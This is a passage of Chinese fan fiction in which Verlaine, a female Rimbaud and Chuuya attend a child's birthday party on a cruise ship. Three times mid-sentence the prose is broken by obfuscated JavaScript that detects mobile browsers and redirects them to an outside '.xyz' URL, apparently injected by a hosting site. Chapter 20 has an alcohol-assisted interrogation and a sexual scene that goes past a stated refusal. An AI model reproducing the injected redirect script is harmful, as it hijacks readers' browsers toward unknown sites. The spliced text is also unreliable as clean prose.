“失忆前的我会喜欢吗——法国的孩子们都会喜欢游泳吗?” “不。” 魏尔伦揉了揉妹妹的头, “中也不想喜欢也是可以的,你可以尝试很多事情,一件一件去判断自己要不要喜欢,这是你应有的,属于自己的自由。” 也是他曾经从兰波的话语中听过,被允诺过,却从未得到的自由。 橘发女孩差点被兄长再次按进水里,她默默地拍了两下胳膊,游得离魏尔伦远一些, “那哥哥先教我吧——虽然我不知道我喜不喜欢游泳,但我现在很感兴趣。” “好。” 游泳小课堂继续进行,阳光也继续照耀,海面的微风徐徐,把热量吹进轻薄的绒毯,温暖地包裹住兰波,她听着魏尔伦略显机械刻板的教导声,和中原中也时不时问出的古怪问题,缓缓进入梦乡——有魏尔伦在,这里是值得信赖的安全区。 ———————————————————— 兰波醒了。 魏尔伦稍稍放开一些怀抱的力度, “要吃饭吗?” “……嗯?” 清润的声音还夹着些许迷茫,黑发女性仰起脸,发现自己已经回到了卧室中,她瞥了眼窗外,透过纱帘看见仍旧热烈的阳光——天色尚早。 “下午两点半了。” 魏尔伦语气轻柔, “你还没吃午饭。” 上午的游泳小课堂持续到十二点才结束,他本想喊醒兰波,但中原中也压低声音,用“兰波姐姐晕船很难受的,哥哥再让她睡一会儿吧”的理由成功制止了他。 虽然他清楚,兰波的疲累并非因为晕船,可不论什么原因,疲累都是存在的。 人造神明只能有点心虚地抱起沉睡中的前搭档,并在发现兰波被抱起来一路回到套房内都没醒来后,更加心虚地放任兰波睡到现在。 当然,魏尔伦的心路历程有多复杂,兰波一点都不清楚,她坐起身,伸了个懒腰,仍旧有些困倦地回答, “我不饿。” 兰波早上吃得够多,上午除了陪着中原中也逛了会儿商店以外,就一直躺着晒太阳,后面还睡着了,根本没什么消耗,自然也就不会觉得饿。 但魏尔伦不这么认为。 人造神明眯了眯眼,语气略微强硬起来, “不饿也要吃。” 如果不是兰波刚好这会儿醒来,他最多再等半个小时也要叫醒她起床吃午饭——本来身上的伤就没痊愈,还瘦成这个样子,搂在怀里都能摸到凸起的骨骼,像个一碰就会碎的冰晶花,再不好好吃饭,什么时候才能养好身体? 他拉开纱帘,把兰波抱到露台的小桌旁坐下,又给她披上绒毯,在兰波呆愣的表情中,有些莫名愉快地安排着, “今早的药膳粥你看起来很喜欢,我让厨房再做不同口味的送来,配上鱼排和炖鸡,不过要少吃一些,免得又胃疼。” “……” 兰波的嘴角抽动一下,无奈地点点头。 饭吃到一半时,中原中也从露台的另一头跑过来,拖鞋在露台的木地板上发出“哒哒”的声响,显得她像个精力充沛的橘色小马驹, “哥哥!” 魏尔伦放下手中的勺子,将餐巾递给兰波,
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984283|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么了中也?书看完了?” “还没……啊,兰波姐姐,你还难受吗?” 中原中也凑到兰波身旁,眨了眨那双漂亮的钴蓝色眼睛,真诚地关心道, “如果还难受,也一定要吃药哦。” 在橘发女孩的观念中,能够吃药就能够治病,她见过太多买不起药的人,他们的尸体都会在几天后出现在擂钵街的某个角落。 兰波擦擦唇角,眉梢更加柔和了一些, “已经没事了。” 她放轻语气,反过来继续询问小孩未答完的问题, “怎么不把今天的课程学完?” 魏尔伦特意买了日语和法语两种语言的幼儿教学书籍,还配上会发音的电子词典,兰波观察了中原中也第一天学习的进度后,给完全没基础的小孩制定了一套学习规划,让她每天抽出三个小时的非连续时间来学习。 “只剩四五页法语,有些地方我弄不懂。” 中原中也摇摇头,日语那本初级字词她看一眼就能明白,法语的才是难题,每天都搞得她头大。 听到妹妹的话,魏尔伦的神情变得有些严肃。 语言是了解文化的最佳渠道,也是沟通的必要能力,等到了美国,说不定还要再学点英语。中原中也的学习能力不知为何只比普通人强一些,并没有达到他的程度,人造神明暗自揣摩过——也许是日本军方的研究员能力太差,没有调配好基因的缘故。 但也正因此,才更需要中原中也本人的努力。 他皱着眉头强调, “不懂的地方可以查词典,或者可以来问我们,但是不能不学。” “我没有不学,我是因为——啊。” 橘发女孩刚气鼓鼓的反驳,就想起自己跑过来的真正原因,她看向兄长, “是因为刚才有人敲门,送来一份邀请函。” “邀请函?” 兰波也看向魏尔伦, “保罗在船上有认识的人?” “没有。” 魏尔伦很确定,他虽然只做了个假身份,没伪装外表,可本来知道他样子的人就不多,更不存在能满世界乱跑的熟人。 这下兰波疑惑起来了, “那为什么会有邀请函?” “我知道!” 中原中也跳下椅子,又“哒哒哒”地跑出去,片刻后,拿着个厚实的信封跑回来, “刚才那个叔叔说是什么刚好住在同一层,有缘之类的。” 魏尔伦接过,从信封中抽出邀请函翻开,挑着眉念道, “今晚7:30,于贵宾会客厅举行犬子津岛治十岁生日会……” “生日会?” 中原中也歪歪头, “是要给这个叫津岛治的弟弟过生日吗?” 她被羊捡到的时候是四月份,把那天定做了自己的八岁生日,这个孩子今天过生日的话,那就比她小两个月,叫作弟弟肯定没错。 “是。” 兰波偷偷把没吃完的鱼排往旁边推了推, “中也想去吗?” “嗯……” 中原中也小心翼翼地眨了眨眼睛, “我还没去过生日会……” 那就是想去的意思。 魏尔伦合上邀请函,把那块鱼排切成更小一些的块,重新推回兰波面前, “等兰波吃完饭,我们再去逛逛商店,看有没有合适的礼物——受邀前去,不能空手。” “好!” 于是,在中原中也期待的眼神中,兰波只能抿抿嘴,无奈地把鱼排全部吃光。 18.生日会 “生日礼物……生日礼物……生日礼物……” 中原中也念念叨叨地往前走,一边走还一边左顾右盼,生怕错过什么合适的东西, “这种适合做礼物吗?” 她拿起一把小刀,刀柄上刻着精美的图案,刀身上还有延展的纹路,看起来漂亮极了。 虽然是自己提出的建议,但从走进商店,挑选生日礼物开始,魏尔伦就一直面无表情,连惯常会有的礼节性微笑都消失不见,此刻听到妹妹的询问,才象征性地将唇角勾起微小的弧度, “这是一把餐刀,和旁边的东西配套,如果要送的话就需要送一整套——只是我不认为日本有送十岁男孩这种礼物的习俗。” 这已经是魏尔伦能够用最委婉的语气说出的否定,中原中也听懂了,她点点头,“嗯”了一声,放下那把餐刀,接着往前走。 魏尔伦牵着兰波的手,继续跟在妹妹身后,而兰波——她先前悄悄打量着魏尔伦的神色,若有所思片刻后,现在正看着橘发女孩挑选礼物,小孩先拿起一个烛台,又摸了摸围棋和将棋,接着不知从哪挖出一套黄色小电锯。 “……” 兰波一时间不知道该吐槽中原中也对“生日礼物”天马行空的想象力,还是该吐槽游轮商店的包罗万象。 好在,没等魏尔伦和兰波说话,中原中也自己就意识到这个礼物肯定不行,果断放了回去。 又绕了两个弯后,橘发女孩眼前一亮,她趴在玻璃橱窗前,看向一根纤长匀称,通体漆黑,只有顶端的夹子旁缀着一颗红宝石的小铁棍, “哇……” 她仰起脸,带着惊叹地提问, “这是什么?是什么装饰用的东西吗?是要插在衣服上?还是插在头发里的?它好漂亮。” “是钢笔。” “钢笔。” 魏尔伦和兰波解释的声音撞在一起,人造神明十分自然的乖巧闭嘴,将讲解的机会留给兰波。 “……” 兰波现在越来越觉得自己失忆前可能就是跟这个漂亮笨蛋不太对付的上司——不然没办法解释魏尔伦总是下意识地以她为先,她瞄了眼那双湛蓝的眸子,又低下头看着钴蓝色的另一双,温声讲述, “钢笔,一种吸了墨水之后可以用来书写的笔,好的钢笔对各种零件的要求很高,所以在各个国家都有以钢笔作为礼品的事例。” “哦——” 中原中也明白了, “和铅笔一样是用来写字的笔,刚好他和我年龄差不多,应该在上学,那就选这个吧!” 魏尔伦点点头,唤来一旁的侍从,将那支钢笔取出包好。 “我们先回去?” 兰波实在不想逛下去了,她牵着中原中也就打算往回走,但魏尔伦忽然想起另一个问题, “生日会的衣服——我可以穿西服,可你和中也都没有带礼服。” 定制衣服的时候,人造神明没想过还会带兰波参加宴会,兰波也拒绝了所有连衣裙的选项,所以最终选定的衣服都以柔软保暖为主,外观设计倒是其次。包括给中原中也预定的那几身,也多是适合小孩活动的运动装和裤装。 “我有条长裙,中也有套还没穿过的吊带裙。” 兰波飞速做好决定, “不过是一个小生日会,着装不失礼貌即可,没有必要过分隆重。” 说得也是。 魏尔伦眨眨眼,接过侍从递回来的礼盒和银行卡,上前一步抱起妹妹,然后取而代之牵住兰波的手, “走吧,还剩一些时间,刚好给中也把今天没学会的法语课程讲一下。” “?” 中原中也原本满是期待的脸瞬间耷拉下去,她委屈巴巴地看向兰波,却发现兰波也赞同地点了头。 呜。 中原中也把嘴瘪成了小油壶。 ———————————————————— 生日会在晚上7:30开始,刨除换衣服和走到贵宾会客厅的时间,魏尔伦将中原中也的下课时间精准控制在7:00整。 “真的记住了?” 人造神明微笑着询问。 “真的记住了。” 橘发女孩严肃地点头回应。 “那去换衣服吧。” “好耶!!!” 中原中也“嘭”的一下蹿起来,像个小炮仗一样“呲溜”滑进衣帽间,一头撞在兰波身上, “唔!中也?” “对不起兰波姐姐!对不起!我——” 橘发女孩忙不迭地道歉,她抬起头,想看看兰波的表情,确认对方是否被自己撞痛了,结果却愣在原地, “兰波姐姐……好漂亮……” “……?” 兰波其实没被撞痛,她第一时间就反应过来,用彩画集挡了一下,之所以喊中原中也的名字,也是怕小孩撞在彩画集上反而会受伤。 不过中原中也不愧是魏尔伦的妹妹,连“皮糙肉厚”这点都和魏尔伦一样,兄妹俩对物理攻击都有明显超出常人的防御能力,具体表现就是——小孩白净的额头连个红痕都没有。 但中原中也忽然愣住,还是让兰波迷茫起来。她知道自己长得还可以,称得上漂亮,可应该没有到会让人惊叹的程度吧? 要说美貌,这间屋子里还有一个最为精致完美的存在——兰波瞥了眼魏尔伦,刚才就下意识站起来的人造神明也在盯着她发呆,这让她心中的疑惑更深了,不由得低下头看了看自己的装扮。 难道是这身衣服的问题?可她连衬衫都没换,腰封也还是她最喜欢的双排扣窄款,只是把黑色长裤脱掉,穿上了那条卡其色的及踝长裙,又搭配了同色的围巾而已。 没等她想出个所以然,魏尔伦先走了过来,他从衣柜里取出一件大衣,随后便拉着兰波走出衣帽间,将换衣服的场所留给中原中也。 人造神明完全理解妹妹为什么会忽然呆住——就算在以前,他也很少见到兰波纯粹暖色系的装扮,重逢后更是第一次见。 兰波虽然总是面无表情,一副拒人于千里之外的样子,但她的轮廓实在秀丽柔和极了,尤其是浓密的睫羽下那双金绿色的眼眸,只要稍稍放软神色,就会像冬春交接时的月光,带着令人神往的暖意。 没人能拒绝这样温柔的月亮——即使他明知道,一切的温柔都不过是伪装的虚情假意,真实的月轮只会高悬于空,永远带着自以为是的孤傲与冷漠。 就连愿意和他离开横滨,也只是想要找回记忆,至于做.爱,更不过是…… 别想了。 魏尔伦垂眸,低声询问, “里面穿了保暖衣?” 一件衬衫的话,兰波应该早就会冷到发抖,她只有晚上待在开足暖气的卧室里时,才会放松地只穿一条睡裙。 “嗯,下面也穿了保暖裤——这条裙子够长,不会露出来。” 兰波点点头,魏尔伦似乎觉得有点好笑,可嘴角的笑意停滞不前——曾经的兰波只是身体不好,稍稍畏寒,根本没有这么怕冷。 “……穿上外套吧。” 魏尔伦将那件浅驼色的大衣披在兰波肩头, “等会儿如果还冷,就一直待在我身边。” 他可以用重力压缩空气,摩擦粒子生热,让兰波身旁变得暖和,这是他去年迷路到北极时才掌握的能力。 “……” 兰波忍不住轻笑一声, “好。” ———————————————————— “……您、您好,您的邀请函?” 看到魏尔伦的那刻,即使是已经在这艘游轮上工作多年,见惯达官显贵,名流豪绅的侍从,也不由得磕绊了一下——金发蓝眼的欧洲人身材高大挺拔,穿着剪裁合体的白西装,气质温和优雅,本就已经足够引人注目,更何况他还长着那样一张脸。 那样一张精致凌厉,完美到仿佛在发光的脸。 侍从接过邀请函,又瞥了眼金发男性一旁的二人,秀丽雅致,淡漠冷清的黑发女性,以及甜美可爱,朝气蓬勃的橘发女孩——真是上帝都会赞美喜爱的一家人,不过孩子的年龄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992693|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是有点大了?还是父母保养得比较好? “哥哥,我们可以进去了吗?” 啊,原来是妹妹。 不对——侍从回过神来,十分尴尬地笑着,飞速检查好邀请函, “抱歉,您请进。” “嗯。” 魏尔伦点点头,带着兰波和中原中也走进会客厅,金碧辉煌的厅内已经布置好了许多种自取的餐品,中原中也“哇”了一声, “好多好吃的。” “中也想吃吗?” 兰波低下头询问, “我们去那边找个没人的地方坐下吃吧?” “嗯嗯!” 橘发女孩欣然同意,魏尔伦也对跟一群陌生人沟通不感兴趣,他快速扫视一眼,找到最佳位置——露台旁的一个小桌。 那张桌子离会客厅的中央不远,但被两张盛放食品的桌子挡着,丝毫不引人注意。兰波先端了三杯饮品——两杯果汁和一杯红酒——在桌旁坐下,魏尔伦则带着中原中也一起去挑选食品。 只不过人造神明回来时,橘发女孩还没见踪影,他有点疑惑地看了一圈, “中也呢?” “在露台那头,好像是碰见了同龄人,可能在聊天。” 兰波并不担心中原中也的安危,橘发女孩拥有绝对足以自保的异能力,以及在擂钵街中锻炼出的警惕心,哪怕平时看起来乖巧又活泼,可想要对中原中也图谋不轨,也不是什么容易的事,更何况他们两个都在这里。 魏尔伦皱起眉头,想要说些什么时,会客厅中央传来话筒扩大的声音,他侧头看过去,黑发的中年男人正满脸歉意地开口, “咳,欢迎大家来到犬子津岛治的十岁生日会,在这里,我要祝福治接下来的人生中也能保持聪敏和努力,同样,也希望他能够永远快乐健康——只是这孩子比较调皮,刚才自己偷偷吃了蛋糕就不知跑到哪里去了,所以大家尽情享受就好!” 说完,中年男人就放下话筒,走下临时搭建的台面,蹭到几个亚洲面孔旁,讪笑着说起话来,丝毫没有对儿子的担忧。 “果然。” 魏尔伦冷笑, “在这种游轮上举办生日会,还要大肆邀请贵宾套房的陌生客人,根本就是拿生日做筏子——” “——然后借机认识那些高官而已。” 黑发男孩面容精致,神情冷漠,如果忽略掉他唇角还残留的蛋糕痕迹,看起来是个十足阴郁漂亮的贵族小少爷, “所以我过不过去都无所谓,他已经达到了本来的目的。” 他盯着橘发女孩,皱着眉头赶人, “你现在知道原因了,可以走了吧。” “可是这是你的生日啊。” 中原中也不理解, “他连蛋糕都不给你切一个!” 要知道,哪怕是在擂钵街,自从“羊”成立后,只要有孩子过生日,大家都会努力凑一个“蛋糕”出来的,米做的、鸡腿做的、小面包做的……什么都可以做成“蛋糕”,只要饱含祝福就行。 “……” 津岛治抬起眸,看着面前的橘发女孩——板型舒适剪裁合体的白衬衫,深蓝色的吊带裙下,露出衬裙层层叠叠的花边,脚下踩着小高跟的皮靴,虽然头发没做什么发型,但橘色的柔软发丝衬着甜美的脸,还有那双清澈见底的钴蓝色眼睛,足以显出她的可爱。 无聊的、到处散播恶心同情的大小姐。 他别过头,语气更加恶劣, “我不在乎蛋糕,你在这里很烦人,能不能赶紧走开。” “……?” 中原中也拧紧眉头, “你说什么?” “我说赶紧走开,真烦人啊。” 黑发男孩自觉这套话术生了效,于是继续使用, “擅自同情别人的大小姐,怎么,听到我这样说要哭鼻——唔!” 津岛治瞪大了眼睛,肩膀的疼痛尚未消散,他又后知后觉地感受到身上温热的触感。 中原中也揍了他一拳后,拥抱了他。 19.生日会后续 “……” 津岛治的脸涨得通红,小小的脑袋宕机一刻后飞速转动——她为什么揍我?肯定是因为我说的话让她生气了。那她为什么不像我想的一样直接离开?为什么又忽然抱着我? 好、好、好—— 好想吐。 黑发男孩今天从早上到现在只偷偷挖了一块蛋糕吃,早就被消化干净,胃空空地蠕动着,吐不出任何东西。他张张嘴,努力在脑海中搜刮更加恶心的词,试图重新赶走拥抱着他的橘发女孩,可上涌的酸水卡在喉咙里,侵蚀了声道,也把所有话语一并溶解。 “你这样说话很没礼貌。哥哥告诉我,对待别人应该有礼貌。” 就算没有魏尔伦的教育,她自己也早就知道不应该无缘无故对别人——尤其是关心自己的别人——发火。 中原中也终于松开了环抱着津岛治的胳膊,她微微低下头,看着黑发男孩怔愣的鸢色眸子,仍有些不满地教育起来, “但是我原谅你了。” 橘发女孩自觉年长两个月,要懂得包容小孩子闹脾气, “今天是你的生日,没有得到祝福,当然会不开心,所以我原谅你的不礼貌。” “……???” 他才不会因为生日没人祝福就不开心! 刚才繁杂的情绪一扫而空,津岛治又生气起来——他只是在思考人为什么要过生日这种无意义的东西,大人为什么这么虚伪又无聊,并且一想到自己将来也会在这样恶心的世界中度过腐烂的一生,就恨不得从露台跳下去而已! 算了。 ……这些话说出来,面前这个大小姐也不会懂的。 津岛治低下头,不想再跟中原中也废话,他转过身就想走,却又被拽住胳膊,只好闷着脸瞪过去, “干什么。” “你要去哪?” “我去哪关你什么事?” “我还没祝你生日快乐呢。” “……” 津岛治觉得中原中也有病,而且是传染病——他瞬间就被传染了,胃又翻涌着想吐,脚步也不听使唤地钉在原地。 中原中也还在说, “说起来,我还专门给你挑了礼物,那些礼物你能拿到手吗?” “……他们会收起来,有什么觉得可以给的再给我。” 津岛治的声音也闷闷的,中原中也眨眨眼,认真地叮嘱, “那我明白了,津岛,你在这里等我一下。” “???” 他为什么要等? 津岛治站在原地,有点生气地思考起来。 ———————————————————— “拿礼物?” 魏尔伦有点疑惑, “津岛治不是不见了?礼物等下应该会有人统一来收。” 正常情况下,生日会的礼物要么有专门的礼品处,要么是等庆生环节结束后,生日会的主角自己在跟宾客打招呼时收取。 但现在津岛治不见踪影,会客厅也未设礼品处,那就只能等津岛家安排的侍从来拿,所以中原中也选的那支钢笔,还静静躺在兰波的手袋中。 兰波大概猜到了,她隔着纱帘望了眼露台那头等待的小小身影,低声询问, “那是津岛治?” “嗯。” 中原中也给出肯定的答复, “我刚才拿东西的时候刚好看到他在吃蛋糕,本来想问问他是从哪里拿到的蛋糕……” 没想到是碰到了生日会的主角偷吃自己的生日蛋糕。 橘发女孩顿了顿,接着陈述自己理解的情况, “他说这场生日会根本就不是为了庆祝他的生日,很委屈很难过才会偷偷跑掉的——而且生日礼物他也拿不到。” 原来是这样。 兰波从手袋中拿出那个包装好的礼物盒,递给中原中也, “中也是想亲手把生日礼物送给他吧?” “对。” 中原中也点点头,兰波微笑着摸摸小孩柔软的发顶, “那就去吧,要记得祝他生日快乐。” “好!” 橘发女孩蹦跳着离开了,魏尔伦看着妹妹的背影,面色又沉寂下来,他从刚才开始就一直没说什么话,兰波也没有问,只是看了眼人造神明手中已经见底的杯子,重新在一旁的桌子上拿了杯新的, “中也对情绪很敏感的。” 她把新饮品推到魏尔伦面前,轻声劝慰道, “津岛治如果有什么恶意,她就不会这么热情。” “……嗯。” 魏尔伦端起那杯饮品,抿了一口,随即将一整份小羊排都切好,堆在兰波的盘子里,作为交换, “今天的羊排不错。” 大约是预定了生日会,所以专门采购的新鲜羊排,并非游轮上本就有的冻品。 “……” 兰波默默地插起一块,飞速塞进魏尔伦嘴里, “那保罗也多吃点。” 魏尔伦乖巧地嚼起来。 ———————————————————— 津岛治看似乖巧地接过了礼物。 中原中也回来的速度快到超出他的想象——按理说,这种大小姐家里应该管得很严格,在他的推测中,对方回去跟兄长说完就有很大概率被扣下,不可能放任她随意跟陌生人交流。 “怎么了?” 橘发女孩歪着头, “这是我今天下午逛了好久商店才选好的,一根很漂亮的钢笔——你有在上学吗?” 她忽然有点忧心忡忡, “你爸爸不会不让你上学吧?” “……” 那倒也不至于,那个男人还指望他将来光耀门楣呢。 津岛治嘴角抽动一下, “我已经在学高中的知识了。” 他微微仰起脸,带着不经意的自得, “你有什么不会的地方都可以问我。” “高中?” 中原中也努力回忆起来,她对这些知识的了解仅限于魏尔伦买的日语学习书籍,因为用不上,魏尔伦也没给她仔细讲过,所以只有大概的印象, “高中是……哦、高中是小学,不对,是国中之后的年级对吗?” “……?” 津岛治迷惑地又打量了一遍面前的女孩——衣服是昂贵的定制,体型还算健康,发丝也很光泽…… 津岛治发现了不对。 橘发女孩柔软的发丝看起来光泽度很高,但认真观察就能发现有些毛躁的内里以及长短不一的碎发,这绝不是养尊处优的贵族小姐会有的头发。 他又看向刚才没认真观察的地方。 手也不对,中原中也的手虽然白皙,却并不娇嫩,从他的角度能看到的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996350|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拇指指腹上还带着薄薄的茧子,小腿的弧度也有较为清晰的肌肉线条——要么对方从小练习体术格斗,要么对方在成长过程中经常打架。 “你没上过学吗?” 津岛治冷不丁地提问。 “没有。” 中原中也回答得很爽快,这些信息不在兄长强调过不能说的范围内,那就是可以说, “我之前和哥哥失散了,最近哥哥才在横滨找到我。” 原来如此,横滨,失散,孤儿,打架——擂钵街。 鸢色眸子闪动一下,黑发男孩不再继续追问,他拆开礼物盒的包装,拿出那支钢笔,被上面漂亮的红宝石吸引了目光。中原中也顺着他的视线看去,高兴地询问, “很漂亮对吧?” 她也很喜欢这颗红宝石。 “嗯。” “那就好。” 中原中也露出灿烂的笑容, “生日快乐,治君。” “……” 津岛治抿着嘴,半晌,才挤出一句回应, “谢谢。” “啊说起来,你刚才说你已经学会高中的知识了?” “对。” “那你会法语吗?” “……啊?” 津岛治忽然发现自己好像学得还是不够多。 ———————————————————— 生日会结束得很晚,魏尔伦没有那么好的耐心,兰波也没有。 尤其是刚才那个中年男人走过来搭讪两人,话语里明着暗着打听,在得知他们住在仅有三间的大套房其中一套时,瞬间谄媚的嘴脸,带着莫名的熟悉感,令她觉得恶心。 所以,中原中也回来吃完宴会餐品后,兰波就借口身体不适,带着魏尔伦和中原中也提前离席。 “他很快就学会了你学习好几天的东西?” 经过空调一下午的努力,套房内的温度已经相当高,兰波冲了个澡,换好新睡裙出来,自觉地开始进行“哄睡中原中也”任务。 橘发女孩在她怀里翻了个身,语气赞叹, “对的,还有我今天自己没弄懂的语法题,哥哥讲了好久我才明白,津岛他一下就全都懂了。” 她眨着钴蓝色的大眼睛,望向兰波, “是我太笨了吗?” “不是。” 魏尔伦刚洗完澡出来,脸色有些奇怪的酡红,他只听到了妹妹最后一个问题,迅速给出否定回答, “中也的智商处于人类中上的水平,在大部分国家和城市中的教育中都能取得不错的成绩。” 中原中也没听太懂,大概明白兄长是在夸自己的意思,于是点点头,自觉地缩回被子里, “我很困啦。” 她闭上眼睛, “晚安,哥哥,晚安,兰波姐姐。” “晚安,中也。” 兰波站起身,关上灯又关上门,牵着魏尔伦的手回到另一间卧室,把有点迷糊的人造神明按在床边坐下, “保罗。” 她眨了眨那双深邃的金绿色眸子, “我想问你一些问题。” “?” 魏尔伦迷茫地甩甩头,想把清醒甩回来,可惜没有成功,兰波见状,轻轻吻了吻他的唇角, “保罗?” 魏尔伦迟疑地停顿许久,终于还是顺从地点了点头。 20.不妙发言 会选择在游轮上灌醉魏尔伦是早有预谋,但选在今天动手确实是临时起意。 半杯酒并不保险,她还得想办法让魏尔伦多喝点,看着面露疑惑的人造神明,兰波低下头,温声细语地询问, “保罗?能听清我说话吗?” “……嗯。” 魏尔伦迷蒙地眨眨眼, “怎么了?兰波想问什么?” 除了爆炸那晚的事情以外,他都可以…… “兰波——!?” 轻软的身体突然跨坐上来,人造神明下意识揽住腿上人纤瘦的腰身,还没来得及惊讶,下巴就被抬起,浅淡清凉的香气中,有微辣的液体顺着唇齿溜入口腔,红舌生涩而热情地探入,让魏尔伦无暇顾及其他,只能尽可能快地张开嘴—— ——可惜,酒精麻痹了大脑的反应,令他的动作也慢了一拍。 “唔!” 兰波吃痛地小声惊呼。 “抱歉。” 魏尔伦慌张地道歉,也许是基因融合的问题,他的犬齿比普通人类尖锐得多,甚至称得上锋利,稍稍用力就能咬破很多东西*,也正因此,先前接吻时,哪怕是神志不太清明的第一次,人造神明都会小心避开。 但刚才兰波的吻太突然也太深入,他一时之间根本没办法做出反应,才会让探入口中的软舌划过齿尖。 人造神明空闲的另一只手捧起怀中人的脸,拇指扣进柔软的双唇中,试图看清其中情况, “受伤了吗?抱歉。” 这个姿势太怪异,兰波好气又好笑——嘴角卡着手指的情况下,她要怎么说话回答? 更令她无奈的是,现下的魏尔伦似乎根本没发现这个问题,只是一味地凑近和追问, “兰波?疼吗?” 兰波干脆合上唇,不轻不重地咬了下魏尔伦的手指,人造神明这才如梦初醒般收回,嘴角瘪了瘪,继续道歉, “……抱歉。” “没有受伤。” 也没有出血,只是一瞬间划过,可能会稍稍疼上一会儿而已。 兰波的眉眼柔和下来,她抵住魏尔伦的额头,轻轻蹭了蹭, “不要一直道歉,保罗,你没做错什么,是我自己不注意。” “……” 魏尔伦像瞬间被消音的旧录像带,表情和呼吸都变得卡顿而斑驳,连湛蓝的眼眸都蒙上浅浅的雾气。兰波看着他的表情,在心中暗暗叹息——真的是笨蛋,这样的反应,她还有什么猜不出来? “今天下午拿到生日会的请柬。” 兰波换了个话题, “从那之后,保罗就一直不太开心,能告诉我为什么吗?” 这个问题本不该放在第一个,只是原来想问的问题已经没有再问的必要,兰波才把它提前。 而魏尔伦抿着嘴,答非所问, “没有不开心。” 明晃晃地在骗人。 兰波忍不住轻笑一声,又亲了亲他的唇, “真的吗?” 她接着问, “那保罗能不能告诉我生日日期,我也好提前准备礼物。” …… 他没有生日,那是在期待和祝福中诞生的人类孩童才会有的东西。控制不住表情的精致脸蛋上,浮现出微微的愠怒——魏尔伦讨厌兰波说这些自以为是将他归为人类的话,连带着他的语气都有些气冲冲, “没有——还有别的问题吗?” 生气了? 兰波惊讶地眨眨眼,停顿一下后,顺着魏尔伦的脊背轻轻抚摸起来, “好吧,没关系的,我们还可以过很多节日。” 感受到魏尔伦又放松下来,她估摸了一下魏尔伦现在神志清明的程度,直截了当地问出今天最重要的问题之一, “我和保罗之前是什么关系?” “……搭档。” “搭档?” “嗯,搭档。” 人造神明无名的愤怒来得快去得也快,他把兰波往怀里搂了搂,闷闷地回答, “我们是最默契的搭档,一起完成过很多、很多的任务。” 那是只有兰波和他才能完成的任务,他们是彼此在这个世界上最不可或缺的、唯一的另一半。 魏尔伦的语气和用词让兰波愣住,她蹙起眉头,对这个与想象中稍有出入的答案没做评价, “那保罗应该知道我的名字?” “兰波。” 魏尔伦停了片刻后,接着补全, “阿蒂尔·兰波,我是保罗·魏尔伦,我们是……最好的搭档。” “?” 兰波低下头,思索起来。 阿蒂尔不是罕见的名字,但她是女性,拥有这样的名字,要么她的父母不太靠谱,要么她以前都在使用男性身份行动。还有搭档、任务、法国人的身份、刚刚结束一年多的异能大战——她是法国官方的谍报员?还是反政府组织的成员?亦或是其他国家派到法国的卧底? 不管哪个是正确答案,她肯定是和魏尔伦一起前往横滨,并在横滨因为某些原因起了冲突,进而导致她的失忆和流浪,直到魏尔伦在寻找妹妹的过程中发现她还没死,赶来找她。 擂钵街爆炸、同样失忆的中原中也…… 看似寥寥的信息,兰波却已经整合出相当完整的情报,只是越深入思考下去,额角就越疼痛,如锥刺般打断一切思路,令她的身体也颤抖起来。 魏尔伦慌乱地搂紧她,语调紧张地询问, “兰波?” “没事。” 兰波挤出一个勉强的微笑,她瞥了眼还剩下半杯的红酒,干脆端过来仰头喝下,随后再次捧住魏尔伦的脸吻了上去。 没能被顺利咽下的酒液在唇舌交缠中滴落,染红了人造神明洁白的衬衫领口,也在兰波的睡裙上晕染出淡红的花朵,又随着睡裙的滑落,一并堆积到纤瘦的腰肢处。 “不、不行。” 没等呼吸声彻底平复,兰波抢先一步按住魏尔伦还想继续往下的手, “我今天不想。” 魏尔伦呆呆地眨眨眼,过了会儿,才迟缓地露出一丝委屈, “兰波……” “……” 就算用这种眼神—— 兰波咬着下唇,闭上眼睛,不去看那张让人想把一切都献上的脸, “……不能进去。” 魏尔伦答应得很爽快,只是酒意弥漫开来,又让他生出几分勇气,他吻住兰波的唇,在对方惊慌又谴责的呜咽中,直接抵达最深处。 …… 一切都结束后,兰波困倦地躺在魏尔伦怀中,彻底失去意识之前,她强撑着问出最后一个问题, “你喜欢阿蒂尔·兰波吗?” 魏尔伦似乎已经在酒意下睡去,兰波也闭上眼睛,默数着呼吸声,不知多少次后,才有嗫喏的声音传来, “……我讨厌他。” “……” 是理智上完全可以理解的答案,她本就不是讨喜的性格,更遑论以前两人应该是单纯以搭档的身份相处,她肯定会比现在更加刻板无趣,战时的情况也跟现在不同…… 额角突突地痛,兰波没有动,魏尔伦好像又说了什么,只是声音低到完全听不清,她睁着眼思考——也许是窗户忘了关。 否则,怎么会忽然这么冷。 